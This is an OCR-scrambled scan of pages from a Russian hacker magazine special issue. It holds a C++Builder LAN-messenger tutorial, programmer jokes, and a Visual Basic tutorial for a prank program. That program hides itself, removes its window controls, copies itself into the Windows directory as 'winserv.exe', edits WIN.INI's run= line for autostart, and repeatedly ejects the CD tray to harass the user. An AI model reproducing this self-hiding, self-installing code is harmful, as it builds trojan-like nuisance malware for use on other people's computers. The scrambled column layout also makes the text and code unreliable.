книги хакеры / журнал хакер / специальные выпуски / Специальный выпуск 4_compressed
.pdf120 |
0078 |
КОНСТРУКТОР |
|
|
>СПЕЦВЫПУСК #4 |
|
|
||||||
|
|
|
|
|
|
|
ПИШЕМ СВОЙМ ЛОКАЛЫ НА C+
Falcon625 (48600076@mail.ru) |
|
|
Привет, привет, привет! |
Inspector’e выбирай закладку Events (Собы- |
|
Если у тебя дома есть локала, |
тия) и делай двойной клик в поле OnClick, что |
|
означает |
||
и ты чуть-чуть знаком |
||
|
||
ñ C++Builder’ом, то я предложу |
“На Нажатие”. Появился редактор кода, где |
|
ты видишь что-то вроде |
||
тебе написать САМОМУ прогу |
||
|
||
для отправки и приема |
void __fastcall TForm1::Button1Click(TObject |
|
cообщений. Весит эта прога |
*Sender) |
|
со всеми прибамбасами около |
{ |
|
} |
||
200 KB. А если убрать лишние |
и курсор между фигурными скобками. Что это |
|
формы, которые я наворотил, |
||
означает? Это означает, что ты только что |
||
и некоторые разделы (типа |
||
создал сценарий реакции на событие OnClick |
||
рекламы, от автора и все |
- только этот сценарий состоит пока из пусто- |
|
такое), то получится |
го места :), так что туда надо вписать что-то |
|
вроде: |
||
и того меньше! Ты, наверное, |
||
|
||
думаешь, что только |
NMMsg1->Host = Edit1->Text; // Эта строка |
|
суперкрутой программер |
отвечает за привязку поля Edit1 к имени ком- |
|
пьютера, на который будет отослано сообще- |
||
сможет написать |
||
ние (имя компьютера твоего друга Васи). |
||
такую прогу? Нет, |
NMMsg1->FromName = Edit2->Text; // Ýòà |
|
такую прогу может |
||
строка отвечает за привязку поля Edit2 к име- |
||
написать. Каждый, |
ни отправителя (твое имя, ник или что захо- |
|
кто умеет пользоваться |
÷åøü). |
|
|
||
клавиатурой и чуть-чуть |
NMMsg1->PostIt(Edit3->Text); // Эта строка |
|
знаком с C++Builder’îì. |
отвечает сразу за 2 действия: привязку и от- |
|
|
правку текста поля Edit3 к функции PostIt. |
Øàã 0: |
мум, нужны будут следующие компоненты: |
Memo1->Lines->Add(Edit3->Text); // Ýòà |
|||||||
|
|
|
|
|
|
|
одно окно Memo, одна кнопка и 3 поля Edit. А |
строка отвечает за вывод отправленного |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Запусти C++Builder и осмотрись вокруг. Ви- |
также скрытые компоненты из раздела |
сообщения в многострочное поле Memo1. |
|
|
|
|
|
|
|
дишь форму? Это будет окно нового мессаге- |
FastNet NMMSGServ для получения сообще- |
|
|
|
|
|
|
|
|
ра для локальной сети. |
ний и NMMsg для отправки. |
чтобы сообщения отсылались. Теперь пос- |
|
Øàã 1 |
|
мотри на комментарии после каждой строки |
|
||||||
|
|
||||||||
Ну что, разместил это все на форме? Если да, |
(комментарии отмечены двойной косой чер- |
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
то надо приступать к самому главному - напи- |
òîé aka double slash). |
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
Итак, у тебя, наверное, в голове закрутилась |
санию кода. С чего начать? Начать нужно с |
Все! Сообщения отсылаются на нужный адрес |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
||||
|
|
|
|
|
|
куча мыслей: насколько он будет крутой :). Ну |
отправки сообщений. Видишь кнопку Button1 |
||
|
|
|
|
|
|
||||
|
|
|
|
|
|
так давай начинать делать дизайн! Как мини- |
- вот и кликай на нее. Теперь в Object |
(но они только отсылаются и не принимаются |
>СПЕЦВЫПУСК #4 |
КОНСТРУКТОР |
0079 |
121 |
||
ЕССАГЕР ДЛЯ |
|||||
+BUILDER. |
|
|
|||
на удаленной машине, т.к. принимающая час- |
|
|
|||
ть еще не написана). |
|
|
|
|
|
Øàã 2 |
|
|
|
|
|
Итак, пишем принимающую часть програм- |
|
|
|||
мы. Тут все будет просто. Жми на компонент |
|
|
|||
NMMSGServer1 и в Object Inspector’e выбирай |
|
|
|||
закладку Events, а там событие OnMSG. Опять |
|
|
|||
открылся редактор кода, и там появилось что- |
|
|
|||
то вроде этого: |
|
|
|
|
|
void __fastcall |
|
|
|
|
|
TForm1::NMMSGServ1MSG(TComponent |
|
|
|
||
*Sender, |
|
|
|
|
|
const |
AnsiString |
sFrom, |
const |
|
|
AnsiString sMsg) |
|
|
|
|
|
{ |
|
|
|
|
|
} |
|
|
|
|
|
опять же с курсором между скобок. Туда надо |
|
|
|||
прописать единственную строку: |
|
|
|
||
Memo1->Lines->Add(sFrom + “::” + sMsg); |
|
|
|||
и все, теперь все пришедшие сообщения бу- |
|
|
|||
дут добавляться в многострочное поле |
|
|
|||
Memo1 в виде “Имя отправителя::сообще- |
|
|
|||
íèå”. |
|
|
|
|
|
Øàã 3 |
|
|
|
|
|
Все, самый простейший мессагер для локалы |
|
|
|||
готов! Не так уж и сложно? А как прифигеют |
|
|
|||
твои соседи по сети, когда ты им раздашь эту |
|
|
|||
прогу и каждую неделю будешь выпускать но- |
|
|
|||
вые версии :)! А ведь в нее можно встроить |
|
|
|||
еще что-нибудь (ты, наверное, уже догадался |
|
|
|||
:))! Да, чуть не забыл: если у твоих друганов |
|
|
|||
не стоит C++Builder, то тебе придется дать |
|
|
|||
им некоторые библиотеки для того, чтобы |
|
|
|||
прога работала. Надеюсь, ты на скатывании |
|
|
|||
кода не остановишься и будешь придумывать |
|
|
|||
свои супер-фишки! Если придумаешь что-ни- |
|
|
|||
будь суперкульное, то пиши мне на мыло :). |
|
|
|||
Æäó. |
|
|
|
|
|
122 |
007A |
КОНСТРУКТОР |
|
|
>СПЕЦВЫПУСК #4 |
|
БЕШЕНАЯ БЛИ
Косякин Антон aka DEiL (antoshka@sp.ru)
|
|
хотя VB4 есть и 16 битная версия тоже). Я лич- |
|
|
но юзаю версию 4-32bit. Если у тебя версия 5 |
|
|
или 6, то все описанные ниже мною действия |
|
|
должны осуществляться по аналогии, короче, |
|
|
сам разберешься - большой уже :). |
|
|
2) Свободное время, т.к. без свободного време- |
|
|
ни ни одну прогу не напишешь, поверь. |
|
|
3) Что-нибудь пожевать. Все что душе угодно, |
|
|
лишь бы рот был занят: когда прога не будет ра- |
|
|
ботать и в ее адрес полетят всякие слова и обо- |
|
|
роты, то из твоего набитого жратвой рта будет |
|
|
доноситься только жалкое мычание :). |
|
|
Ну, еще не помешает наличие черепной короб- |
|
|
ки, занятой серым веществом (кстати, в мозгах, |
|
|
помимо серого вещества (чувствительные ней- |
|
|
роны), есть еще и белое - промежуточные. Не |
|
|
веришь - распотроши соседа, только потом убе- |
|
|
ри рабочее место за собой :)). |
|
|
LeT’z Go... |
Обращение к народу :) |
зато издевательски) и... играет с CD-ROM’ом... |
Для начала подрули мышой к меню File и ткни на |
|
типа есть... нету... есть... нету... Тупо, скажешь |
New Project. Готово? Так, теперь ткни на Tools - |
Дарова, начинающий кодер :)! Сегодня мы будет |
ты. Знаю, тупо, но прикинь - играет юзверь |
> Custom Controls. Отлично. Да ты способный, я |
учиться кодить на Васике. Эээйй! Куда пошел? А |
ушастый в какой-нибудь гамес или юзает (юз- |
смотрю :). Убери все галочки (если есть) и от- |
ну вернись обратно! Говоришь, Васик - саксь, и |
верь по определению должен юзать - прямая |
меть Micro$oft Multimedia Control. Далее дави на |
на нем ничего путного написать нельзя, да!? |
обязанность, паимаишь :)) прогу, активно обра- |
пимпу Ok, только посильнее дави, они нынче уп- |
Знаешь, что по этому поводу сказал мне мой |
щающуюся к компакту... Ну, допустим, ему надо |
ругие пошли :(. |
друг Sinner? “Не, так дело не пойдет... Между |
срочно залить на хард большое файло с одног- |
|
прочим, знаешь ли ты, что вири Mellisa и I Love |
лазого. 1%... 10%... 50%... 99%... и тут на него |
|
You написаны на VBasic’e? И все про них гово- |
налетает подосланная тобой птица обломинго. |
|
рят, типа, вот парни крутые, такие вири наката- |
Ты представляешь его рожу в этот момент? Са- |
|
ли, млин. Но проходит время, и Васик опять |
мое кульное - к сидюку никак не подобраться, а |
|
дерьмо :(. Нееет, так не пойдет... “. |
если юзер еще и нервный (ну естесно! после та- |
|
Лампочка Ильича |
кого и не таким станешь :)), то ему в процессе |
|
крушения всех и вся будет не до залезания в |
|
|
|
“Завершение работы программы” и ее дальней- |
|
Слышал про прогу FloppyMadness? Нет!? Для |
шего прибивания. Конечно, это тоже можно |
|
тех, кто в бронетранспортере - иди читать Х |
обойти путем перенесения проги на Дэльфи и |
|
(рубрику ШарОварЫ). Когда я про эту програму- |
вставки небольшого кода, но статья - не об этом |
|
лину прочитал, в моем мозгу зажглась лампа |
(если уж так захотелось, загляни в Х про халяв- |
|
Ильича - вот ОНО, то, что нужно! И захотелось |
ный Инет, рубрику - “Рождение Дьявола”, там |
|
мне чего-то такого же, только другого! :) ¨клмн, |
все прозрачно :). |
|
подумал я, дык ведь я же кодить умею! Взял Ва- |
InStRUMents |
|
сик и начал химичить... :) Долго химичил - этак |
|
|
примерно часик, полтора. Зато какая прога |
|
|
вышла - загляденье. Вроде небольшая програм- |
Для написания этой рульной программулины те- |
Сокращенно эта фишка (MS Multimedia Control) |
мулина, зато какие возможности и потенциал: |
бе понадобятся: |
называется MCI. Зачем она потребовалась? MCI |
каждые N секунд она показывает безобидное |
|
- такая тема, которая позволяет делать CD- |
окошко с надписью “Это не вирус!!! Но не за- |
1) M$ VizualBasic. Какая версия? Ну... 32-х бит- |
Player. Прикинь, пельмень, мы заодно и Блино- |
будь Анти-Вирус!!!” (конечно, звучит туповато, |
ная (от 4-ой и выше, так как VB 3.0 - 16 битная, |
плеер замутим :). Ладно, поехали дальше... Сам |
|
|
КОНСТРУКТОР |
|
|
|
>СПЕЦВЫПУСК #4 |
007B |
123 |
|
|
ННИЦА
себе Спилберг. Все приготовления сделаны, будем разбираться с формой... Далее идет среднее по сложности - поклацкать мышой в нужных местах, если ты еще не оправился от кнопенции Ок, то передохни часок-другой. Да, кстати, я надеюсь, ты не сломал крысу, когда сильно давил по пимпе “Все пинцетно”? Мдя... Ты что, не понял, это была ШУТКА, нужно было легонько кликнуть по левому батону серого существа (у кого, говорят, и белого), и вс¸ :). Доставай вторую - я продолжаю :). Значит так, у тебя в окошке со всякими пимпами (слева) добавилась еще одна - MMControl. Так вот, ты ее не трогай :). Для начала размести на форме (главном окне твоей проги, обычно оно называется “Form1”) такую лабуду, как Label и Timer.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Галимо, правда? Теперь опять клацкни мышой |
По оформлению вроде все, можешь |
вздохнуть |
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
по Label’у и лезь в свойства. Ищи пункт Font, вы- |
облегченно и сбегать за бутылочкой |
квасу для |
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
деляй его. Увидел справа такую пимпу с тремя |
меня :). Эй, стоп! Самое главное |
забыли!!! |
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
точками? Смело дави ее (можно НА нее :)). Поя- |
Когда окно появится, то будут светиться пим- |
||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
вилось окно “Выбор шрифта” (если Вынь рус- |
пы “свернуть” (зачем? пусть будут на виду!), |
||
|
|
|
|
|
|
|
ский). Выбираем MS Sans Serif, полужирный |
“развернуть” (пущай :)) и “закрыть” (закрыть!? |
||
|
|
|
|
|
курсив, размер 18. Вроде стало лучше, но чего- |
зачем!? нам и так весело! :)), так что их надо |
|
|||
|
|
|
||||||||
|
|
|
|
то все еще не хватает :(. И снова кликаем по за- |
убрать. Подруливаем крысой к окну Свойства, |
|||||
|
|
|
|
|
|
|
мученному Label’у и лезем в свойства... На этот |
выбираем “Form1 Form”. Готово? Ладно, по- |
||
|
|
|
|
|
|
|
раз выбираем ForeColor. Опять появляется пим- |
дожду... Все? Ок. Ищем пункт MaxButton (РАЗ- |
||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
па с тремя точками -> подруливаем и прицель- |
вернуть) - ставим False. Теперь ищем |
||
|
|
|
|
|
|
|
но клацкаем мышой, дабы не промахнуться :). |
MinButton (сВЕРНУТЬ?) - опять False. Далее |
||
|
|
|
|
|
|
|
Появилось окошко выбора цвета, следователь- |
ставим ControlBox (заКРЫТЬ!?) на False и |
||
|
|
|
|
|
|
|
но, надо выбирать цвет :). Я выбрал красный. |
BorderStyle (тип границ окна) на 1 - FixedSingle |
||
|
|
|
|
|
|
|
Так, готово. Теперь перетащи на форму |
- чтоб не сперли :) - шутка - чтоб не изменили |
|
|
|
|
|
|
|
|
|
MMControl. Один клик по этой фишке -> свой- |
размер. Вот теперь по оформлению точно все |
||
|
|
|
|
|
|
|
ства -> пункт Visible (видимый?) ставь False. За- |
:). Если сильно распирает любопытство, то мо- |
||
|
|
|
|
|
|
|
чем? А пусть не светится :). |
жешь запустить. Для этого залезь в меню Run |
||
|
|
|
|
|
|
|
|
-> Start. Если ленивый, то нажми на пимпу с |
||
|
|
|
|
|
|
|
Ок, готово... Только одно НО. Ты не заметил, что |
кнопкой “>” (8-я справа, под меню Add-Ins). |
||
|
|
|
|
|
форма немного не совпадает с размерами |
Ну а если ты дипломированный лентяй - прос- |
||||
|
|
|
|
|
|
|
Label’а, а надпись (“Дарова тебе!<...>”) распо- |
то надави на пимпу F5 :). Только есть один |
||
|
|
|
|
ложена не в одну строку? Да? Так чего же ты |
трабл - помнишь, как мы поставили Visible на |
|||||
|
|
|
|
|
|
|
ждешь? Давай, дерзай :). Сделал? Теперь лезь в |
False в свойствах формы? Вот :). |
||
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
свойства формы и ставь Visible на False, потом |
|
|
|
|
|
|
|
|
|
|
Caption ->, ставь: “Бешеная блинница”. Форму |
Кодинг во всей красе |
|
|
|
|
|
|
|
|
|
мы спрятали для того, чтобы при запуске проги |
|
|
|
|
|
|
|
|
|
|
лишний раз не светиться, дабы не выдать себя |
Вот мы и доковыляли до самого интересного, |
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
раньше часа Х :). Ок. Лезем в свойства таймера |
до кодинга :). Все знают, что если кодер - нас- |
||
|
|
|
|
|
|
|
(Timer Timer 1) и ставим Interval на 5000 (при- |
тоящий кодер, то ему нравится кодить :). |
||
|
|
|
|
|
|
|
мерно 5 сек). После всех манипуляций форма |
Приступим... Для начала двойной клик по |
||
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
должна выглядеть примерно так: |
Label’у. Появилось окошко Form1 и две ме- |
||
|
|
|
|
|
|
|
Теперь кликни ОДИН раз по Label’у и залезь в окно Properties (свойства, справа). Найди пункт Caption (надпись) и поменяй значение на “Дарова тебе! Это не вирус, но не забудь Анти-Ви- рус!!!”. В итоге все должно выглядеть так:
124 |
007C |
КОНСТРУКТОР |
>СПЕЦВЫПУСК #4 |
|||
нюшки - Object: Label1, Proc: Click. Это нам |
|
|
||||
не нужно. В первой менюшке выбираем |
|
|
||||
Form1, во второй - Load. Появилась процеду- |
|
|
||||
ра Form_Load(), которая будет вызываться |
|
|
||||
при загрузке программы :). Для написания |
|
|
||||
самого кода процы надо решить, что будет |
|
|
||||
делать наша прога. Для начала представим, |
|
|
||||
что нашО файлО называется BLIN.EXE. Ок? |
|
|
||||
Если не нравится, то можешь изменить. Сама |
|
|
||||
идея нашей программулины какая? Правиль- |
|
|
||||
но, играть с подставкой для кофЭ. Что бы все |
|
|
||||
ýòî |
работало, |
нужно |
инициализировать |
|
|
|
MMControl1, ответственный за все. Добавь |
|
|
||||
вот эти строчки: |
|
|
|
|
|
|
|
MMControl1.UpdateInterval = 0 ‘ èí- |
|
|
|||
тервал между проверками наличия одногла- |
|
|
||||
çîãî %) |
|
|
|
|
|
|
|
MMControl1.DeviceType |
= |
|
|
||
“CDAudio” ‘ - а что вам нужно? - CDAudio! |
|
|
||||
MMControl1.Command = “Open” |
‘ çà ðàáî- |
|
|
|||
òó! |
|
|
|
|
|
|
Ввел? Отлично. Теперь разберемся, что же |
|
|
||||
ЭТО тако было :). Первой строкой мы устано- |
|
|
||||
вили интервал между проверками наличия |
|
|
||||
компакта, равный 0, что значит - без задер- |
|
|
||||
жки, т.е. проверил, еще раз проверил, потом |
|
|
||||
еще раз... и т.д. Второй строкой мы вежливо |
|
|
||||
дали понять твоему железному другу, что яко- |
|
|
||||
áû |
собираемся |
прослушивать музыкальные |
|
|
||
компакты, что само по себе не так :). Хотя ты |
|
|
||||
вполне можешь это реализовать :). Послед- |
|
|
||||
ней строкой мы заставили комп начать рабо- |
|
|
||||
ту с одноглазыми (работать!? нееее... :)). Те- |
|
|
||||
перь осталось закодить еще одну процедуру, |
|
|
||||
ответственную за показ окна и выдвигание |
|
|
||||
подставочки. Лезь в Object: Timer1, Proc : |
|
|
||||
Timer. Появилась проца Timer1_Timer(). Бу- |
нету смысла и все тут... :) Ну а что же это за |
рузит комп :(. Обидно... Надо это дело обхо- |
||||
дем писать ее... Опять добавим три строчки: |
заветная третья строка? О, этой строкой мы |
дить. Есть такой файл в каталоге Выни, |
||||
|
|
|
|
|
делаем самое главное - заставляем нервни- |
WIN.INI называется, а в нем, в свою очередь, |
|
If Not Form1.Visible Then |
|
чать юзверя ушастого или просто выдви- |
есть строка - run=<имя_файла>. Так вот, ес- |
||
Form1.Visible = True Else Form1.Visible = |
гаем\задвигаем подставку для кофе. Все. Мо- |
ли в эту строку поставить нашу прогу, то бу- |
||||
False ‘ åñòü... íåòó... :) |
|
|
жешь смело запускать и радоваться своему |
дет кульно, очень кульно :). |
||
|
|
|
|
|
творению. Только тут есть один баг - если в |
|
|
MMControl1.Command = “Open” |
цэдероме нету блина, то подставка не выез- |
Для начала нужно определить каталог Выни. |
|||
|
|
|
|
|
жает. Но это не сильно важно, смею тебя за- |
Это, конечно, можно сделать ОЧЕНЬ просто |
|
MMControl1.Command = |
“Eject” ‘ |
верить. |
(даже еще проще), но мы пойдем другим пу- |
||
поиграем, гы-гы-гы. |
|
|
Самое интересное... для продвину- |
тем. В корневом каталоге диска С: есть руль- |
||
|
|
|
|
|
ное файло - MSDOS.SYS называется, там то- |
|
Я думаю, первая строка тебе понятна. Для тех |
òûõ :) |
же есть строчка - WinDir=<путь_к_выни>, |
||||
кто в танке: если окно показано, то убираем, |
|
она-то нам и нужна. Пиши (в самом начале |
||||
если не показано, то показываем. Дошло? Ну |
Слышь, пельмень, ты не заметил, что чего-то |
Form_Load): |
||||
слава Богу :). Со второй строкой ты уже |
в нашей прогенции не хватает? Вот смотри: |
|
||||
встречался, так что объяснять нет смысла, ну |
запустит юзверь прогу, разозлится и перезаг- |
Open “c:\msdos.sys” For Input As #1 |
|
|
КОНСТРУКТОР |
|
|
|
|
|
|
|
|
>СПЕЦВЫПУСК #4 |
007D |
125 |
||||||
|
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
‘ откроем файл для чтения... |
Open MustDieDir + “\blin.col” For |
верку на “инфицированность” (эти |
строчки |
|
|
||||||||
|
|
|
|
|||||||||||||
|
|
|
|
|
|
|
|
Input As #1 ‘ конструируем новый WIN.INI |
вставляй после MustDieDir = Mid$(MustDieDir, |
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
Input #1, MustDieDir ‘ строка |
|
8, Len(MustDieDir) - 7) ): |
|
|
|
|
|
|
|||
|
|
|
“WinDir=каталог_выни” |
|
Open MustDieDir + “\win.ini” For |
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
Output As #2 ‘ сначала вытрем старый, а за- |
Open MustDieDir + |
“\win.ini” For |
|
|
||||
|
|
|
|
|
Input #1, MustDieDir ‘ вторая по |
÷åì îí íàì? |
Input As #1 ‘ получили каталог Выни |
|
|
|
|
|||||
счету |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
While Not EOF(1) ‘ ïîêà ôàéë íå |
Input #1, Run ‘ ищем строку “run=” |
|
|
|||||
|
|
|
|
|
Close #1 ‘ закроем :) |
кончился, копируем построчно |
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
Input #1, Run ‘ теперь уже третья по счету |
|
|
|||||
|
|
|
|
|
MustDieDir = Mid$(MustDieDir, 8, |
Input #1, Temp ‘ читаем |
:) |
|
|
|
|
|
|
|
||
|
|
|
Len(MustDieDir) - 7) ‘ убираем “WinDir=”, т.е. |
|
|
|
|
|
|
|
|
|
||||
|
|
|
вытираем все буквы, начиная с первой и за- |
If Mid$(Temp, 1, 4) = “run=” Then |
Input #1, Run ‘ вот она, родненькая |
|
|
|||||||||
|
|
|
канчивая 7-й включительно. |
Temp = “run=winserv.exe” ‘ прописываемся в |
:) |
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
“run=” |
|
|
|
|
|
|
|
|
|
|
|
Теперь у нас в переменной MustDieDir хранит- |
|
Close #1 |
|
|
|
|
|
|
|
||||
|
|
|
ся название каталога |
|
|
|
|
|
|
|
|
|
|
|||
|
Âûíè. |
|
Дальше нам |
Знаю, тупо, но прикинь - иг- |
If |
Run |
= |
|
|
|||||||
|
нужно |
закопироваться |
рает юзверь ушастый в какой- |
“run=winserv.exe” |
Then |
|
|
|||||||||
|
|
|
в этот каталог с каким- |
GoTo Infected |
|
‘ à |
|
|
||||||||
|
|
|
нибудь “умным” назва- |
нибудь гамес или юзает (юз- |
ìû òóòà óæå áûëè? |
|
|
|||||||||
íèåì |
- winserv.exe, |
верь по определению должен |
|
|
|
|
|
|
|
|||||||
|
|
|
например |
(îé, ýòî óæå |
юзать - прямая обязанность, |
Теперь |
добавь |
метку |
|
|
||||||
|
|
|
÷òî-òî |
вроде трояна |
Infrcted: |
|
|
перед |
|
|
||||||
|
|
|
получается |
|
:)). Äëÿ |
паимаишь :)) прогу, активно об- |
M M C o n t r o l 1 . U p d a - |
|
|
|||||||
|
|
|
этого в |
VisalBasic’å åñ- |
ращающуюся к компакту... Ну, |
teInterval = 0 |
|
|
|
|
||||||
|
|
|
ть проца |
- FileCopy |
|
|
|
|
|
|
|
|||||
|
|
|
<откуда |
_è_÷òî>,<êó- |
допустим, ему надо срочно за- |
Все! Прога готова, ап- |
|
|
||||||||
|
|
|
äà>. Ïèøè: |
|
лить на хард большое файло с |
лодисменты :). |
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
F i l e C o p y |
одноглазого. 1%... 10%... 50%... |
ЭпилоГ |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
“blin.exe”, MustDieDir + |
99%... и тут на него налетает |
|
|
|
|
|
|
|
|||||
|
|
|
“\winserv.exe” ‘ допол- |
подосланная тобой птица обло- |
Вот видишь, |
|
какая |
|
|
|||||||
|
|
|
íèì |
Âûíü |
нужной |
минго. Ты представляешь его |
рульная прога получи- |
|
|
|||||||
|
|
|
службой, убирающей |
лась, а ты говорил - |
|
|
||||||||||
|
|
|
áàãè :)). |
|
|
рожу в этот момент? Самое |
Васик |
саксь, |
Васик |
|
|
|||||
|
|
|
|
|
|
|
кульное - к сидюку никак не |
саксь... |
Естественно, |
|
|
|||||
|
|
|
Осталось только обес- |
эта прога не совершен- |
|
|
||||||||||
|
|
|
печить |
себе автозаг- |
подобраться, а если юзер еще и |
на - например, если у |
|
|
||||||||
|
|
|
рузку. |
Ýòî, |
с одной |
нервный (ну естесно! после та- |
тебя стоит Windows |
|
|
|||||||
|
|
|
стороны, просто, а с |
кого и не таким станешь :)), то |
NT/2K, |
òî |
âåñü |
êàéô |
|
|
||||||
|
|
|
другой |
- еще проще. |
обломится |
:(. Íî, êàê |
|
|
||||||||
|
|
|
Для начала сделаем |
ему в процессе крушения всех |
говориться |
â |
народе: |
|
|
|||||||
|
|
|
копию |
|
WIN.INI äëÿ |
и вся будет не до залезания в |
“НЕТ предела |
совер- |
|
|
||||||
|
|
|
дальнейшего исполь- |
“Завершение работы программы” |
шенству”. Так |
÷òî íå |
|
|
||||||||
|
|
|
||||||||||||||
|
|
|
зования. Назовем это |
боись кодить, это даже |
|
|
||||||||||
|
|
|
файло, |
|
|
например, |
и ее дальнейшего прибивания. |
интересно, а |
иногда |
|
|
|||||
|
|
|
blin.col. После этого |
|
|
|
затягивает |
по самые |
|
|
||||||
|
|
|
|
|
|
|
|
|||||||||
|
|
|
подправим |
старый |
|
|
|
óøè :). Õì, ÷óòü íå çà- |
||||||||
|
|
|
|
|
|
|
|
|||||||||
|
|
|
WIN.INI, для начала удалив его, а потом вос- |
Print #2, Temp ‘ пишем :) |
был архиважнейшую вещь! Эта прога написа- |
|||||||||||
|
|
|
становив построчным |
копированием с не- |
|
на на VisualBasic’е, о чем это говорит? Пра- |
||||||||||
|
|
|
большим изменением |
строки “run=”. Наби- |
Wend |
вильно, сам по себе .EXE’шник работать не |
||||||||||
|
|
|
вай, если не устал, а если устал, то попроси |
Close #1, #2 |
будет. Вместе с прогой придется впаривать |
|||||||||||
|
|
|
||||||||||||||
|
|
|
соседа - он с радостью тебе поможет: |
MCI32.OCX (обычно C:\WINDOWS\SYSTEM) и |
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
FileCopy MustDieDir + “\win.ini”, |
Вроде все хорошо, даже работает, но есть |
VBxxxxxx.DLL èëè |
VBRUNx00.DLL |
|
(òîæå |
|
|
||||
|
|
|
|
|
C:\WINDOWS\SYSTEM, ó ìåíÿ ýòîò ôàéë íà- |
|||||||||||
|
|
|
MustDieDir + “\blin.col” ‘ делаем копию, надо |
один баг - каждый раз копировать WIN.INI и |
зывается VB40032.DLL), но с вопросами впа- |
|||||||||||
|
|
|
|
|
|
|
|
самого себя? Вот, надо просто добавить про- |
ривания, я думаю, ты справишься :)). Удачи! |
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
126 |
007E |
ХУМОР |
|
>СПЕЦВЫПУСК #4 |
АНЕКДОТЫ ПРО |
||||
ПРОГРАММЕРОВ |
||||
СОБРАЛ: бОРА (LAPKARELIEF@MAIL.RU) |
Папа-программер (злобно, не отрываясь от ком- |
|||
|
|
|
|
пьютера): |
|
|
|
|
- Кто ж его под “окнами” ставит, вот если б под |
|
|
|
|
LINUХ - тады не зависло бы... |
|
|
|
|
Два программера сидят, пиво пьют. Тут входит в |
|
|
|
|
комнату огромный котяpа, рыжий красавец. |
|
|
|
|
Один программер - другому: |
|
|
|
|
- Это мой кот. Зовут Зухел. |
|
|
|
|
- Почему Зухел? |
|
|
|
|
- Смотpи, - беpет швабру, тычет в кота. - Зу- |
|
|
|
|
хель! Коннект! |
|
|
|
|
(Кот): - Шршашрррффшшфшршшш... |
|
|
|
|
- Во, понял? 28.800. |
|
|
|
|
Y2K за одним столом встречают русские и аме- |
|
|
|
|
риканцы. Американец хвалится успехами Аме- |
|
|
|
|
ðèêè: |
|
|
|
|
- А вот у нас, в Америке... |
|
|
|
|
Наш программер поднимает моську из блюда с |
|
|
|
|
пельменями: |
|
|
|
|
- А вот нет больше твоей Америки и ни будет ни- |
|
|
|
|
êàã-äû! |
|
|
|
|
Американец (испуганно): |
|
|
|
|
- Как нет? Почему? |
|
|
|
|
Наш (булькая себе в пельмени): |
|
|
|
|
- А у нас проблема 2000 была на 12 часов рань- |
|
|
|
|
øå... |
|
|
|
|
Программер сдает экзамен по литературе в |
|
|
|
|
Кульке (институте Культуры): |
|
|
|
|
- Герасим был... этим... Hу, саунд бластера у |
|
|
|
|
íåãî íå áûëî. |
|
|
|
|
Вопрос программеру: сколько метров в одном |
|
|
|
|
километре? |
|
|
|
|
- Íó, ýòî, 1024... |
|
|
|
|
Если у тебя воняет под мышкой, помой или выб- |
|
|
|
|
роси коврик. |
|
|
|
|
Идет программист по улице и видит прикольных |
|
|
|
|
таких девчонок. |
Нам приходится брать деньги за то, что мы и так |
- Киборд неyдобный - всего 84 клавиши, поло- |
- Девушки, здрасьте. Я - Вася. Пиво будете? |
||
с удовольствием делаем... |
|
вина фyнкциональных, ни одна не подписана, |
- Íåò. |
|
Нам приходится делать это даже тогда, когда |
зато шифт нажимать ногой - прикольно. |
- À âèíî? |
||
совсем совсем не хочется... |
|
|
- Íåò! |
|
Многие обращаются к нам, но почти все ста- |
Вопpос: Можно ли мессагу Виндов “Пpогpамма |
- А водку? |
||
раются не заплатить... |
|
выполнила недопустимую опеpацию и будет |
- Íåò!! |
|
Нас презирают как верхи, так и низы... |
закрыта. Обpатитесь к pазpаботчику” считать |
Программер думает про себя: “Странно, стан- |
||
Все кроют нас матом... |
|
официальным приглашением на проживание в |
дартные драйверы не подходят”. |
|
И зачем я стал программистом? |
ÑØÀ? |
|
||
|
|
|
|
Два программера разговаривают: |
Программер смотрит на пианино: пригляды- |
Дочка - папе: А у нас вчера под окнами HЛО ви- |
- А ты бы в кого выстрелил, если б оказался в |
||
вается, охаживает вокруг, потом говорит: |
ñåëî... |
одном лифте с Саддамом Хусейном, Лениным, |
|
|
ХУМОР |
|
|
|
>СПЕЦВЫПУСК #4 |
007F |
127 |
|
|
ОТ КОМАНДЫ Х
|
|
|
Гитлером и Гейтсом и у тебя был бы только один |
ðàé... |
- Да из NFS дебаггером выдрал. |
||
|
|
|
револьвер с двумя патронами? |
- Куда сам-то хочешь: в ад или в рай? |
|
||
|
|
|
- Ну, первым патроном я бы в Гейтса выстрелил. |
- А посмотреть можно? |
Народная примета: если программист в |
||
|
- А вторым? |
Тащат его в громадный компьютерный клуб. |
утра уже на работе, значит, он еще на |
||||
|
|
|
